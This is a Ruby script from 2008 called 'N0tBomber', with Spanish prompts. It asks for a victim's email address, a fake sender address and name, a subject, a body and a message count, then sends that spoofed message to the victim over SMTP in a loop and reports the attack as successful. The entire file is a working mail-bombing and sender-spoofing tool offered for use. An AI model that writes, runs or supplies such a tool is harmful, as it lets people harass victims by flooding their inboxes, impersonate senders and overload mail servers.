#N0tBomber #N-D labs #Introducir servidor, mail y password #By Sh4v puts " #####################-->N0t Group<--####################### # # # [N0tBomber]~ # # By Sh4van3 # # # #########################->2008<-##########################" require 'net/smtp' b=0 puts "Direccion victima:" div=gets.chomp puts "Direccion falsa:" dif=gets.chomp puts "Nombre falso:" nmf=gets.chomp puts "Nombre del destinatario:" nmd=gets.chomp puts "Asunto del mensaje:" as=gets.chomp puts "Escriba el texto que quiere mandar:" txt=gets.chomp puts "Numero de mensajes:" num=gets.chomp.to_i msg= "From: #{nmf} <#{dif}> To: #{nmd} <#{div}> Subject:#{as}\n\n#{txt}\n" begin smtp=Net::SMTP.start('smtp.server.com', 25, 'asunnnto', 'login@serveer.com', 'password', :login) rescue Net::SMTPAuthenticationError puts"Fallo de autenticacion." rescue Net::SMTPServerBusy puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde." rescue Net::SMTPSyntaxError puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo." rescue Net::SMTPFatalError puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde." rescue Net::SMTPUnknownError puts "Un error inesperado ha ocurrido." end until b==num smtp.send_message(msg, dif, div) b+=1 puts "#{b} Mensajes enviados." end smtp.finish puts "Ataque finalizado con exito ;-)" print "\n -->N0t Group Rulez<--\n"